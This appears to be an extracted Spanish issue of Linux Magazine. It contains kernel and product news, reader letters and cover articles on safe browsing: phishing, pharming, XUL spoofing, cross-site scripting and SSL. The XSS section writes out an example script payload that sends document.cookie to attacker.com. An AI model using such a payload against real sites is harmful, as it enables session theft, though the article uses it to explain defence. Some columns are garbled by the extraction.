ESTADO DE LINUX-LIBC-HEADERS Mariusz Mazur se ha visto obligado a abandonar el desarrollo de linux-libc-headers. Una de las quejas perennes sobre el kernel es que los usuarios quieren incluir cabeceras del kernel en el software que se ejecuta en espacio de usuario. Los desarrolladores del kernel insisten que esto no se debería hacer nunca, pero eso no impide que otros programadores lo requieran. El proyecto de Mariusz hacía que fuera posible, pero a expensas de un código verdaderamente feo que (según Linus Torvalds) nunca se incorporaría al kernel, al menos no en esa forma. Por tanto, el parche de Mariuzs no hacía más que crecer, en la misma proporción en la que nuevas versiones del kernel se alejaban del hack. El tiempo empleado en portar la solución a un nuevo kernel también se incrementaba y llegó a ser insostenible. Sin embargo, la necesidad para linux-libc-headers sigue existiendo y varias personas implicadas en el desarrollo del kernel han decidido hacerse cargo del proyecto y estudian la manera de seguir su desarrollo como grupo sin tener que cargar todo el trabajo en un solo desarrollador. Si bien los detalles de la transición están sin definir, hay ya una buena cantidad de desarrolladores del kernel que se están ocupando de problemas de diseño subyacentes en un esfuerzo de conseguir algo que algún día sea aceptable para Linus. Lo que tampoco está decidido es el rol de Mariusz, ni siquiera se sabe si asumirá un papel relevante en el nuevo proyecto o si lo
NOTICIAS DEL KERNEL
abandonará íntegramente a terceros. Y en cuanto a los mantenedores, queda por ver si se asignará un solo mantenedor, un grupo de mantenedores o si la mayoría de los problemas se solucionarán en este fervor.
EL BAILE DEL 1395 Adrian Bunk ha remitido un parche para eliminar RAW1394_REQ_ISO_SEND y RAW1394_REQ_ISO_LISTEN del kernel, alegando que el nuevo interfaz rawiso basado en ioctl es más eficiente. Por tanto, en teoría, el kernel debería seguir ofreciendo el mismo nivel de soporte. Sin embargo, Gene Heskett y otros no andan muy contentos, ya que, por lo que se ve, el ieee 1394 está roto desde la versión Linux 2.6.13-rc1, a la vez que la lista de correo de 1394-devel parece no hacer mucho caso a los informes de error. Gene tiene una nueva cámara Sony DVR-TVR460 que ha dejado de funcionar a partir de la versión 2.6.13-rc1.
ADIOS A BLKMTD Jörn Engel ha remitido un parche que elimina blkmtd, ya que existe una alternativa en funcionamiento que no ha recibido un informe de error en más de un año. Aparentemente,
blkmtd interfiere con los esfuerzos de H. Peter Anvin de integrar klibc y no hay una razón de peso para conservarlo. El parche de Jörn eleva la característica block2mtd, convirtiéndola en el método por defecto de visualizar dispositivos de memoria como dispositivos de bloques. Andrew Morton aceptó el parche casi incluso antes de que se remitiese. “Carguémoslo” fueron sus palabras, antes de enviarlo directamente a Linus, sin siquiera dejarlo fermentar en el árbol -mm.
LA VELOCIDAD DE GIT git ya no requiere un fork para una invocación diff. Linus Torvalds ha implementado soporte interno de diff, recortando el tiempo de generación de git diff a una sexta parte. También hace que git sea más portable en general, ya que no hay peligro de un fork bajo sistemas operativos de Microsoft. Alez Riesen probó el parche de Linus bajo Cygwin e informó de mejoras de rendimiento de hasta cincuenta veces con respecto a la versión anterior. En vez de ejecutarse sus pruebas en un par de minutos, se ejecutaron en un par de segundos. En palabras de Linus: “Ésa es la diferencia entre ‘inutilizable’ y ‘bastante bueno’”.
VMWARE Y PARAVIRTUALIZACIÓN Al igual que Xen, la gente de VMWare está trabajando en la implementación de la paravirtualización que permitiría la ejecución nativa (o casi nativa) de múltiples instancias de Linux en su hardware. Esto se consigue haciendo que sea el propio kernel de Linux quien informe al sistema de VMWare de ciertas actividades que lleva a cabo, con lo que se aportan enormes mejoras de velocidad sobre los esfuerzos anteriores de VMWare por conseguir la virtualización plena. Lo que es más, VMWare quiere que la interfaz existente entre sí mismo y Linux se generalice para que pueda ser utilizada por cualquier otro motor virtual, con la intención de no crear ningún tipo de interfaz especializado y propietario dentro del kernel (o eso dicen). En última instancia, VMWare querría que los kernels paravirtualizados fueran los kernels por defecto compilados sobre cualquier máquina, lo que permitiría a los usuarios lanzar diversos kernels simultáneamente de manera trivial.
LINUX USER NOTICIAS
Schlagwort sollte hier stehen
PRODUCTOS Piensa en Verde… Trolltech amplia su oferta para, no sólo producir excelente software para el desarrollo de interfaces gráficas (entre ellas el escritorio KDE), sino para dar un impulso a sus escritorios empotrados, poniendo a la venta su propio teléfono móvil: El GreenPhone. Primero las especificaciones: el hardware es el de un teléfono con esteroides, esto es, procesador dual-core Marvell XScale a 312MHz, 64 MB de RAM y 128 MBs de memoria Flash, lo que lo convierte en el sueño reencarnado en móvil de cualquier geek. Viene con una pantalla táctil tipo PDA (aunque el interfaz también permite ser
operado a través del teclado) de 320 x 240 pixels, slot para tarjetas SD, modem Broadcom BCM2121 GSM/GPRS con soporte para WIFI, Bluetooth e IrDA y el imprescindible mini-puerto USB, esencial para descargar software y flashear la ROM… Porque esto es de lo que va todo. El GP es una máquina diseñada para impulsar el desarrollo de la plataforma para móviles de Trolltech, el hecho es que, de momento, sólo hay una versión para desarrolladores y probablemente nunca exista una versión para el gran público, o al menos no con las mismas características. Si el aparato tiene éxito entre los geeks dedicados al desarrollo de aplicaciones para sistemas emprotados, Qt verá cómo el número de aplicaciones creadas para su sistema se incrementa exponencialmente, situando a la empresa en una posición de poder que le permita empujar sus productos sobre terminales de otras marcas. Es más que probable que esta estrategia se deba a que los noruegos de Trolltech hayan
puesto sus barbas a remojar, al ver los rasurados carrillos de sus vecinos, los finlandeses de Nokia, que cada día apuestan más y más fuerte por utilizar plataformas libres en sus dispositivos. Motorola es otro de los jugadores que no tienen reparos en abandonar plataformas más tradicionales por otras basadas en pingüinos, habiendo puesto en circulación más de un millón de teléfonos inteligentes Linux en China en el segundo trimestre del 2006. Pero, volviendo al GreenPhone, el sistema operativo es un Qtopia Phone Edition 4.1.4 sobre un kernel Linux 2.4.19 y “todo el software, a excepción de los componentes que interactúan con la banda base, son libres”, según el co-CEO de Trolltech Eirik ChambeEng. La empresa tendrá versiones del aparato disponibles a precios rebajados para poseedores de licencias Qt. Y, por si a alguien le quedaba alguna duda, Benoit Schilling, CTO de Trolltech, se encarga de disiparlas: “Le contaré un secreto: conseguir poner el teléfono en manos de los desarrolladores del software libre es justo lo que deseamos”. Supongo que no estará tan contento el día que alguien quite Qtopia y le instale Gnome sobre X, pero, en fin. http://www.trolltech.com/products/qtopia/ phone_edition/greenphone
LINUX USER CORREO
Schlagwort sollte hier stehen
Correo del Lector
ACCESO DE ESCRITURA Estimados responsables de Linux Magazine, Recientemente estaba aburrido esperando un avión y decidí comprarme un ejemplar de su revista. No suelo comprar revistas de Linux, ya que la mayoría no suelen hacer otra cosa que no sea regurgitar a partir de material disponible en Internet. Es más, muchas tienen la desfachatez de ni siquiera ocultarlo y referirme a recursos en la red… Y su revista, tras su bonita apariencia, no es una excepción. Lo que es más, la elección de algunos de los temas rayan en lo ridículo. ¿Mejorar fotos con GIMP? ¿Instalación y configuración de otro reproductor MP3? ¡Por favor! No me esperaba esto de una revista que se las da de “profesional”. ¿No les parece que es absurda una revista de Linux, por la que cobráis, si toda la información se puede encontrar gratuitamente en Internet? ¿No les parece absurdo vender su revista como la panacea para el profesional de Linux y después llenarla con artículos de relleno? Alberto
LM ¿Hemos de inferir que no le ha gustado la revista? Los que hacemos Linux Magazine, independientemente de hacerlo porque hemos de ganarnos la vida de alguna forma (y qué mejor forma de hacerlo que publicando una revista sobre lo que nos gusta), queremos aclararle algunos puntos que surgen de vez en cuando (no, no es usted el primero ni será el último en sacar el tema) sobre la
14
Número 20
documentación impresa que posteriormente se pone a la venta. Sí, sí, el software es libre, los programas vienen con su código fuente, los estándares son abiertos, pero pregúntele a un desarrollador cuál es la tarea más desagradecida, aburrida y de poder evitarlo, cuál evitaría, del proceso de desarrollo y contestará: La documentación. De hecho, la falta de documentación es el principal anatema del software libre. Cuando alguien pregunta en qué puede ayudar en un proyecto, automáticamente se le pide que ayude en las labores de documentación. Desarrollar está bien, depurar es… bueno… no está tan bien, pero tiene su punto, sobre todo cuando cazas el bug. Sin embargo, documentar es una pesadilla. Las revistas especializadas son TODO documentación. Ni más, ni menos. Alguien tiene que hacer el trabajo sucio y por 6,95 es una ganga. Pero ¿qué pasa en los casos muy documentados? Existe la posibilidad de sobre-documentar. Fue Henry Spencer quien dijo una vez: “¿Leer las especificaciones OSI? ¡Si ni siquiera puedo levantarlos!” ¿De verdad es realista estudiar toda la documentación de un programa, API o protocolo, que puede abarcar miles de páginas, para una implementación específica? ¿Y si, como ocurre a menudo, uno de nuestros autores ya lo ha hecho por usted? ¡Qué suerte y cuántas horas le hemos podido ahorrar! Si valora el tiempo en la misma medida que nosotros (a fin de cuentas es lo único que no puede volver a recuperar), coincidirá que un artículo que ahorra varios días de investigación y trabajo bien puede merecer el precio de portada. Y, además, por su propia regla de tres, lo único que haría falta es
WWW.LINUX- MAGAZINE.ES
consultar los RFCs de los protocolos y estudiar el código de los programas (y nada de mirar los comentarios, que eso es para pusilánimes). Los RFCs y el código pueden ser muy informativos, pero una cosa es tener acceso a la información y otra comprenderla. Resulta que la mayoría de los seres humanos no sólo necesita que le proporcionen información, sino que necesita ejemplos contrastados para comprenderla. ¡Justo lo que aportamos en Linux Magazine! Otra de las misiones de los redactores de Linux Magazine es probar que el software de verdad hace lo que dice que hace. Muchos programadores hacen que sus aplicaciones funcionen para ellos y después las liberan al mundo. Que funcionen en unas determinadas condiciones controladas no significa que funcionen para el resto de los mortales. Nosotros ponemos a un grupo de especialistas a probar las tecnologías que van surgiendo, encontramos sus fallos, sugerimos soluciones o alternativas y allanamos el camino para su uso. Por supuesto que la búsqueda de esas soluciones y alternativas también se puede encomendar a voluntarios, pero esos voluntarios han de hacerlo en su tiempo libre, sacrificando tiempo que, de otra manera podrían aprovechar para ganar dinero, cosa que amenaza la continuidad del servicio (ver después). Además, las soluciones de los voluntarios pueden estar repartidas a lo largo y ancho de la world wide web, escondidas en comentarios secundarios de un foro que ni siquiera Google lista. No puede obligar a un voluntario a que se lo ponga en bandeja. A nosotros sí. Uno de nuestros fines es investigar todas las líneas de desarrollo y reunirlas en un todo coherente y estructurado. Si a esto le llama usted “regurgitar”, efectivamente, de vez en
www.almogon.de
Insuficiente
CORREO
cuando regurgitamos. Eso sí, de muchas fuentes diferentes, pero con el mismo propósito que regurgitan los pingüinos: el de aportar alimento a sus crías (= los lectores) para que no tengan que salir ellos mismos a cazar (= perder el tiempo)… y esta metáfora ha dado todo lo que tenía que dar de sí. Por supuesto que los enlaces al final de cada artículo son (a) el reconocimiento a los autores que nos han proporcionado la información primaria y (b) la hebra que le permite al lector llegar al ovillo, en el caso de necesitarlo. En todo caso, nunca hemos (y nunca haremos) un copy y paste de nuestras fuentes, sino que siempre procesaremos, analizaremos e ilustraremos con ejemplos la información obtenida para darle un valor añadido y hacerla más accesible a los lectores. En cuanto a la gratuidad, en inglés decimos “there is no such thing as a free lunch”, es decir, gratis, lo que es totalmente gratis, no hay nada. Usted paga su acceso a Internet (o se lo pagan, la cuestión es que de algún bolsillo sale), los contenidos han sido desarrollados por un autor a quien, en el caso de información procedente de una corporación, alguien ha pagado un salario. Incluso en el caso de autores altruistas y sin ánimo de lucro, esos autores vuelven a robar tiempo a otros menesteres para poner en la red la documentación. Si esos autores descubren que esta tarea obstaculiza sus necesidades primarias dejarán de aportar, lo que nos lleva de nuevo al peligro de la falta de continuidad. ¿Y por qué cree que tantos sitios web tienen un botón para donaciones? Los autores necesitan dinero para seguir con su labor. Si usted pulsara en cada uno de esos botones cada vez que descargara software o consultara su documentación, muy pronto se encontraría pagando mucho más de lo que vale un ejemplar de Linux Magazine.
¿Lo probamos? Venga. En un número de Linux Magazine hay una media de entre 15 y 19 artículos técnicos. Suponiendo que cada artículo aborde un único proyecto (lo cual es mucho suponer), si usted visitara y donara un mísero euro a cada uno de los proyectos contenidos en un solo número de nuestra revista, estaría gastando de media más del doble de lo que cuesta un ejemplar en quiosco. De todas maneras, después de haber pagado a nuestros autores (que, en muchos casos, son esos seres altruistas que mencionábamos antes) y proveedores, volvemos a volcar la información a Internet. Podríamos poner en la web resúmenes, extractos o el primer párrafo de cada artículo, como hacen otros, y publicar un enlace que permita descargar el artículo completo por un precio. Pero no, nosotros lo ponemos todo libre y gratuitamente a disposición del público, saldando así nuestra deuda con la comunidad online, en el caso de que la hubiere. En cuanto a su crítica sobre algunas de las aplicaciones elegidas, a diferencia de otros sistemas operativos, Linux tiene el potencial de ser de todo para todos. El amplio espectro de dispositivos que soporta, la enorme cantidad de software para todo tipo de aplicación, hacen que una revista de Linux ha de intentar ofrecer el abanico más completo de temas que quepa en sus páginas. Cuando el mercado de documentación sobre Linux en España sea enormemente grande y haya cabida para publicaciones especializadas (nunca creí que llegaría el día en el cual sugeriría que Linux Magazine es una revista generalista), no se preocupe, que saldremos con Linux Magazine Server, Linux Magazine Developer y Linux Magazine Desktop. Pero mucho me temo que, llegado el día, usted seguirá considerando nuestras publicaciones igual de redundantes que ahora.
Excesivo Muy Señores Míos, Hace poco me decidí a probar Linux y, en vista de lo que me
16
Número 20
WWW.LINUX- MAGAZINE.ES
comentaban amigos y compañeros, pensé que necesitaría una ayudita, por lo que decidí comprar su revista. Me sentí muy decepcionado al encontrar que no cumplía mis expectativas. No encontré la ayuda que necesitaba. No explicaba cómo instalar el sistema ni cómo prepararlo para acceder a Internet. Con su revista, no sé por donde empezar. Presupone demasiados conocimientos, de los que, me imagino, muchos de los que pretenden utilizar Linux no dispondrán. Espero que puedan solucionar esa falta, ya que, sin tener la formación necesaria para evaluar del todo su revista, parece ser de las mejores del mercado. Un saludo Víctor
LM
(¿Lo ves, Alberto?) Estimado Víctor, Efectivamente, Linux Magazine presupone algunas cosas, entre ellas que sus lectores ya tienen instalado Linux y que el sistema se encuentra en un mínimo estado de configuración. Después, cada sección hace suposiciones sobre los lectores a los cuales se dirige: la sección de desarrollo supone que se dispone de conocimientos de programación, la sección de administración de sistemas supone que se sabe administrar un servidor y la sección de LinuxUser supone que se tiene un escritorio en funcionamiento y se está mínimamente familiarizado con su manejo. Si su pregunta es “¿Cuándo van a publicar un tutorial completo de cómo instalar Linux desde cero?”, la respuesta es: probablemente nunca, a no ser que abordemos alguna vez una instalación especializada y excepcionalmente compleja para un fin concreto. Sin embargo, nuestra intención nunca ha sido dejar a los usuarios noveles fuera, y por ello, si nos lo permite, ¿podemos sugerirle que le eche un vistazo a EasyLinux (www.easylinux.es), publicada por esta misma casa y que contiene la información que necesita para ■ empezar a funcionar en Linux?
Navegación Segura• PORTADA
Evitar fisgones y estafadores en Internet
NAVEGACIÓN SEGURA ¿Sabes lo suficiente para navegar a salvo de bucaneros y maleantes? Este mes os mostramos cómo mantenerse alejado de todo tipo de trampas. POR JOE CASAD Y PETER KREUSSEL
N
avegar por la Web solía ser muy sencillo, y todo parecía muy inocente. Pero la Web de hoy en día se ha convertido en un lugar muy diferente y más oscuro. Si pulsamos en el lugar equivocado, cualquier gángster informático de cualquier lugar del mundo puede echar mano de nuestro bolsillo. Nuestra mejor defensa es saber las tretas y tener un plan en consecuencia. El tema de portada de este mes trata de cómo podemos deambular por Internet de manera segura y privada. Empezaremos con un estudio del Pharming y el Phishing, dos peligrosas técnicas que los estafadores usan para acceder a nuestra información personal y financiera. A continuación mostramos Tor y Privoxy, dos herramientas de privacidad que nos permiten navegar de manera anónima. Y hablando de privacidad, en nuestro tercer artículo de portada, examinamos Antsp2p, un sistema que soporta intercambio de archivos de forma anónima. Si queremos mantenernos libres de las garras del ciber-crimen, o si simplemente queremos navegar o compartir archivos sin dejar trazas, seguro que encontramos algo útil en los artículos del tema de portada de este mes: Navegación Segura. Pero antes de entrar en detalles, vamos a empezar con un resumen de algunos de los peligros que acechan al usuario de Internet.
entidad bancaria, donde debemos rehabilitar nuestra cuenta online introduciendo de nuevo nuestros datos. Si hemos recibido un mensaje como el mencionado, hemos sido objetivo de un ataque de phishing. El phishing se basa en el comportamiento de la gente poco cuidadosa (“si mi banco me escribe, debe ser algo importante”). Podemos encontrar algunos ejemplos de ataques de phishing conocidos en la página Web antiphishing.org [1]. Todo lo que se requiere para atacar una dirección de correo electrónico es añadirla en una lista del cliente de correo. Incluso se añaden dominios no registrados sin hacer ninguna comprobación. Aparte de esto: un email en HTML sólo necesita un link con un texto visible que siga el patrón www.cualquierbanco-xyz.com. Esto no significa que la dirección nos lleve a www.cualquierbanco-xyz. com. Y por cierto, un enlace como www. cualquierbanco-xyz. com@fraud.com no nos lleva a ninguna página del banco, sino que nos conduce a fraud.com.
XSA El phishing está basado en engañar al usuario para que revele información personal crítica. Pero hay otros métodos incluso más difíciles de vigilar. Supongamos que estamos logueados como usuarios de un foro. De pronto, nuestro navegador nos pregunta el nombre de usuario y contraseña (Figura 2). Si tecleamos nuestros datos pensando que ha ocurrido algún tipo de error con el software del foro, puede que un atacante tenga ahora acceso a nuestra cuenta. Este tipo de ataque se conoce como Cross Site Authenticaion (XSA). El XSA se basa en
Phishing Puede que alguna vez haya recibido un correo electrónico (a menudo lleno de erratas y deficiente gramática) pidiéndonos que pulsemos en un enlace de nuestra supuesta
EN PORTADA Phishing . . . . . . . . . . . . . . . . . . . . . . . . 21 Tor y Privoxy . . . . . . . . . . . . . . . . . . . . . 26 Antsp2p . . . . . . . . . . . . . . . . . . . . . . . . . 29
WWW.LINUX- MAGAZINE.ES
Número 20
17
PORTADA • Navegación Segura
Figura 1: La barra de direcciones de esta figura es una falsificación basada en XUL. No nos muestra la dirección de la página actual, sino que muestra un texto predefinido por el atacante.
un sencillo principio: el atacante guarda una imagen con la URL que conduce al usuario desprevenido a un servidor Web falso donde se le va a preguntar por su contraseña. En otras palabras, al usuario se le pide la contraseña para ver la imagen. Por supuesto, la página falsa preparada por el atacante XSA está configurada para aceptar cualquier combinación de nombre de usuario y contraseña y para guardar cualquier información que el usuario introduzca. Esto permite que el atacante recolecte las contraseñas de los usuarios que se hayan logueado en la página falsa.
Los Poderes Ocultos de XUL Firefox y Mozilla tienen una “funcionalidad” que proporciona a los phishers una poderosa herramienta: los navegadores basados en Mozilla usan XUL, un lenguaje basado en XML, para generar la interfaz de usuario. Desafortunadamente, estos navegadores muestran los elementos XUL incrustados en las páginas Web, permitiendo a los atacantes emular los elementos originales que se muestran, como barras de dirección o cuadros de diálogo. Como demostración de cómo usar XUL para ataques de phishing, podemos visitar [2]: pongamos lo que pongamos en la barra de direcciones falsa, el navegador seguirá mostrándonos la página de Google (véase Figura 1). La barra de tareas y los menús son falsas y no funcionan, pero para cuando nos hayamos dado cuenta, puede ser demasiado tarde.
18
Número 20
Figura 2: Si nos fijamos con cuidado, veremos que hay algo raro: el dominio que nos pide la contraseña no es el mismo que el de la página actual.
Puede que perder la contraseña de un foro no sea un golpe demasiado duro, pero ¿qué ocurre si esta contraseña es la misma que usamos para nuestra tarjeta de crédito o para una cuenta de un banco online?
JavaScript JavaScript nos permite evaluar información en formularios (Figura 3), incluso desde formularios en ventanas diferentes. El peligro que esto conlleva es bastante obvio. (Todo lo que se necesita es tener la página del banco online y la página fraudulenta abiertas al mismo tiempo, y el atacante puede registrar lo que introduzcamos). JavaScript restringe el acceso cruzado de ventanas o marcos: esto funciona sólo si ambas páginas o marcos están en el mismo dominio. Para ser lo que es, la teoría funciona, pero hemos de recordar que esta restricción no se implementó correctamente en Firefox hasta la versión 1.0. Las versiones actuales de Konqueror y Opera no están afectadas por esta vulnerabilidad, pero imaginemos el siguiente escenario con un Firefox anterior al 1.0: un atacante envía un enlace manipulado por email. El correo abre la página de nuestro banco, mientras que al mismo tiempo abre un pequeño pop-up en segundo plano. La ventana oculta puede ahora registrar lo que tecleemos y hacerlo llegar al atacante. A la hora de tratar con JavaScript: •
No usar enlaces de fuentes no confiables (es decir: email o páginas de Internet no verificadas) para acceder a páginas con aplicaciones críticas en cuento a seguridad. Un enlace
WWW.LINUX- MAGAZINE.ES
cuidadosamente preparado puede terminar inyectándonos código JavaScript maligno. • Usar sólo marcadores creados por nosotros mismos. • Reiniciar el navegador para asegurarnos de que el código JavaScript de una página vista anteriormente por error no sigue activa. Podemos revisar la sección “Desktopia” del número 19 de Linux Magazine edición en castellano aparecida en Septiembre de 2006 (“Extensibilidad”) donde encontraremos información de algunas de las extensiones más populares de Firefox, incluida Noscript, que nos permite deshabilitar JavaScript en las sesiones de Firefox Las aplicaciones Web y los foros a menudo facilitan la vida a los atacantes, ofreciéndoles una puerta trasera que les permite inyectar código JavaScript peligroso. Por ejemplo, un atacante podría intentar
¿Por qué me preguntas? Ningún banco que se precie se le pasaría por la cabeza enviarnos un correo electrónico pidiéndonos que introduzcamos nuestra contraseña o claves de transacción. Ningún proveedor serio de Internet nos preguntaría jamás nuestra contraseña. Después de todo, las contraseñas de los verdaderos usuarios deben estar guardadas en algún lugar de sus bases de datos. Si ha ocurrido algún problema técnico, puede tener sentido pedir al usuario que se loguee en el sistema, pero no lo tiene en absoluto solicitarle la contraseña.
Navegación Segura • PORTADA
Figura 3: Debido a que JavaScript puede leer las entradas hechas en formularios, un fallo de seguridad podría permitir a un script leer formularios más allá de los límites del dominio, lo que permitiría a un atacante enviar nuestra información a su propia dirección.
loguearse con el nombre de usuario BadBoy<script>(new Image).src=”http:// www.attacker.com/spy. php?sniff=+document.cookie”;</ script>). La aplicación Web puede que rechace este nombre debido a su longitud, o que filtre el componente Javascript. Pero si no lo filtra, el código que lee las cookies creadas para los visitantes de la página (document.cookie) y que las envía como parámetro (sniff=[...]) a www.attacker.com se inyecta en cada página en la que se pida el nombre de usuario. Las comprobaciones de seguridad en el lado del navegador están condenadas a fallar en esta situación: el código JavaScript está en la página a la que pertenece la cookie. Desde el punto de vista del navegador,
Figura 4: Las aplicaciones Web usan cookies para identificar usuarios. Si el atacante accede a esta información a través de cross-site scripting, puede llegar a robar nuestra identidad.
no hay nada erróneo o extraño en que un script acceda a la cookie. La mayoría de las aplicaciones Web usan cookies para identificar a los usuarios conectados (véase Figura 4). Un atacante que consiga acceso a nuestra cookie de sesión puede hacerse pasar por nosotros.
Pharming El pharming es otra técnica de ataque extremadamente peligrosa aparecida recientemente. Los atacantes vía pharming explotan agujeros de seguridad en el sistema de DNS. El navegador tiene en primer lugar que resolver la URL antes de poder conectarse a una página. Para ello se comunica previamente con un servidor de DNS en Internet. Los servidores DNS se basan en una jerarquía: el primer punto al
Figura 5: Si Firefox muestra este aviso casi incomprensible, largo y penosamente formulado, deberíamos considerar no seguir adelante si estamos manejando información sensible.
que consultan es al servidor DNS que nuestro proveedor ha especificado al iniciar la conexión a Internet. Si pedimos una página que ese servidor DNS no conoce, éste recurre a un servidor por encima de él en el árbol de jerarquía. Si el servidor tiene la dirección en su caché, no será necesario seguir buscando hacia arriba. Los ataques por envenenamiento de la caché intentan inyectar valores manipulados en ésta. Podemos encontrar más información en el artículo “La Historia de Phish: Phishing, Pharming y la amenaza del robo de identidad” en la página 21 de este mismo número.
SSL/TSL El protocolo HTTP transfiere información de manera que no permite a los usuarios
Figura 6: Los candados con los colores de semáforo facilitan al usuario saber la gravedad de un problema de seguridad en las páginas de Mandriva.
WWW.LINUX- MAGAZINE.ES
Número 20
19
PORTADA • Navegación Segura
no es un intento en balde debido a ataques de envenenamiento de DNS. Pulsando en un enlace de una fuente no confiable como un correo electrónico puede socavar este tipo de seguridad: la barra de direcciones de Figura 7: Security Focus tiene una de las mayores colecciones de infornuestro navegador mación relativa a seguridad en Internet. Web no mostrará la dirección modificar la ruta que toma esta informacorrecta. El propietario de la dirección saboción. Aunque esto es un método eficiente a teada perfectamente podría tener un prueba de fallos, también significa que no certificado válido para su página Web. podremos confiar nunca en los ordenadores Hay otra restricción importante que debeintermedios entre el origen de la informaríamos tener en cuenta: SSL Versión 2.0 ción y el destino. O lo que es lo mismo, tiene algunos agujeros de seguridad. Si destendremos que estar siempre vigilantes ante habilitamos SSL 2.0 en nuestro navegador, ataques en puntos intermedios que fisgoya no podremos acceder a servidores Web neen nuestra información o incluso la obsoletos que sólo proporcionan conexiomodifiquen. Se hace imperativa una conenes SSL 2.0. Pero esto no es del todo malo, xión cifrada que use SSL/TSL para pues las conexiones SSL 2.0 son un riesgo aplicaciones críticas como trabajar con de seguridad. números de tarjeta de crédito. Otro problema es el exceso de advertenEl SSL/ TSL (Secure Sockets Layer/Transcias de seguridad causadas por port Layer Security) es un protocolo que usa administradores de servidores que no direcciones de Internet que comienzan por hacen bien su trabajo, y que crean un https://. TSL es una extensión de SSL. Esta entorno en el que los usuarios, hastiados conexión “segura” a Internet evita que los de ver tanta advertencia, terminan pulatacantes secuestren equipos intermedios y sando sobre OK sin reparar en lo que están husmeen o manipulen la información. Al haciendo. En algunas ocasiones, los admimismo tiempo, esto garantiza que estamos nistradores incluso sugieren que las realmente conectados a la dirección mosadvertencias de seguridad son algo “nortrada en la barra de nuestro navegador. mal” y les indican a los usuarios que Pero, de nuevo, es responsabilidad nuestra pulsen OK a todo lo que encuentren. asegurarnos que es correcta y que el enlace En realidad, si el navegador muestra no ha sido reemplazado por una dirección una advertencia de certificado (véase falsa desde una fuente no confiable que figura 5), tenemos que suponer que la simplemente aparente ser real. seguridad está comprometida. Cualquier Las conexiones SSL/TSL usan certificabanco o tienda en línea al que confiemos dos. Existen algunos errores comunes nuestro dinero o información personal, acerca de los certificados que habría que debería demostrar que merece nuestra mencionar: confianza ofreciéndonos una conexión * “Certificado de confianza” (Trusted cerSSL/TSL. tificate) no significa que alguien nos En ocasiones el asistente de seguridad asegura que el operador del sitio está en nos ofrece un remedio o un arreglo para el contacto con la policía. problema. Sin embargo, mucho más a * “De confianza” significa que el certifimenudo, la solución es instalar un parche cado ha sido publicado por una autoridad o actualizar a la última versión. Para evitar de certificación reconocida. Una clave en el la necesidad de comprobar servidor Web garantiza que al entrar en la constantemente páginas Web en busca de página https://ejemplo.com realmente acceeste tipo de información, algunas demos a un servidor llamado ejemplo.com y distribuciones de Linux nos permiten
20
Número 20
WWW.LINUX- MAGAZINE.ES
registrarnos para recibir avisos de seguridad de Linux por correo electrónico. Los fabricantes suelen distribuir sus avisos de seguridad a través de listas de correo. Podemos comprobar también las páginas de seguridad de nuestra distribución favorita, donde hallaremos los detalles para las listas de correo y cómo registrarse. Además de las páginas específicas de los fabricantes, están disponibles en la Web muchas otras fuentes de información relativas a la seguridad en Linux. Por ejemplo, Security Focus [5] es una conocida página Web que publica reportes de fallos, avisos y mucha más información acerca de aspectos críticos. Estas páginas proporcionan de cuando en cuando artículos de alto nivel, FAQs y foros acerca de temas de seguridad. ■
Avisos de Seguridad en Linux Muchas distribuciones de Linux publican avisos de seguridad para proporcionar al usuario información actualizada sobre problemas
recientemente
descubiertos.
Podemos acudir al apartado de la revista “Noticias de Seguridad” donde encontraremos enlaces de avisos de diferentes distribuciones de Linux. En función del fabricante o el proyecto, el formato de los avisos de seguridad puede variar. Mientras que Novell/Suse, Debian y Ubuntu proporcionan texto ASCII puro, quizás con algún enlace, Mandriva es más amigable, con iconos de candados de colores para indicarnos cuán serio es un bug.
RECURSOS [1] Ataques de phishing en el pasado: http://www.antiphishing.org/ phishing_archive.html [2] Riesgos XUL en navegadores basados en Mozilla: http://www.pikey.me. uk/mozilla/test/spooftest.html [3] Vulnerabilidades en versiones previas de Mozilla/Firefox: http://www.mozilla. org/projects/security/ known-vulnerabilities.html [4] Vulnerabilidad en el motor JavaScript de Konqueror: http://www.kde.org/ info/security/advisory-20060119-1.txt [5] Securityfocus: http://www. securityfocus.com
Phishing • PORTADA
Phishing, Pharming y las amenazas relacionadas con la suplantación de la identidad
PICANDO EL ANZUELO Los pharmers y los phishers van tras vuestra valiosísima información financiera. Aquí mostraremos cómo proteger nuestros intereses. POR CHRISTOPH WEGENER Y RALF SPENNEBERG
E
l phising se puede definir como el arte de engañar mediante trucos y estratagemas a los confiados usuarios de Internet para lograr de ellos información de carácter personal y financiero. Este juego vil ya ha proporcionado enormes ganancias a una nueva generación de delincuentes cibernéticos. Pero el phising no es más que uno de los muchos trucos que hay para la estafa. En este artículo examinaremos algunas de las más populares técnicas usadas para la suplantación de identidad y mostraremos qué podemos hacer para adelantarnos a la posible amenaza.
Phishing y Pharming El phising usa técnicas de falsificación de correos electrónicos para lograr que los usuarios desprevenidos visiten sitios maliciosos. Es ahí donde son invitados a introducir datos personales, tales como contraseñas y números PIN. Los ataques de phising ocurren en dos fases: en la Fase Uno el usuario es engañado y seducido para que haga una visita al servidor web del atacante. Los atacantes usan varios vectores de inicio para lograr atraer a las víctimas. En la Fase Dos, el
usuario es preguntado por sus datos personales. Esta parte del ataque es conocida como engaño o falsificación visual. Los vectores de ataque inicial más conocidos son la falsificación de correos y lo que se conoce como cross site scripting (XSS), en donde el atacante hace mal uso de sitios web de terceros confiados para lograr iniciar el ataque. En todos estos casos el atacante depende de las acciones llevadas a cabo por la víctima, por lo que fracasarían sin la cooperación de la misma. En contraste con el phising, el ataque pharming requiere del atacante el envenenamiento de las entradas de la caché de servidores de DNS vulnerables, para redirigir luego a los usuarios que confían en este servidor a una máquina comprometida que aloja al sitio web que está siendo suplantado. Este ataque se apoya normalmente en los errores de implementación de los servidores DNS para conseguir inyectar falsos pares [IP / nombre de máquina] en la caché del servidor de dominio. Lo importante es que el ataque de pharming es puramente técnico. Esto mejora considerablemente las oportunidades de éxito de este tipo de ataques, puesto que
WWW.LINUX- MAGAZINE.ES
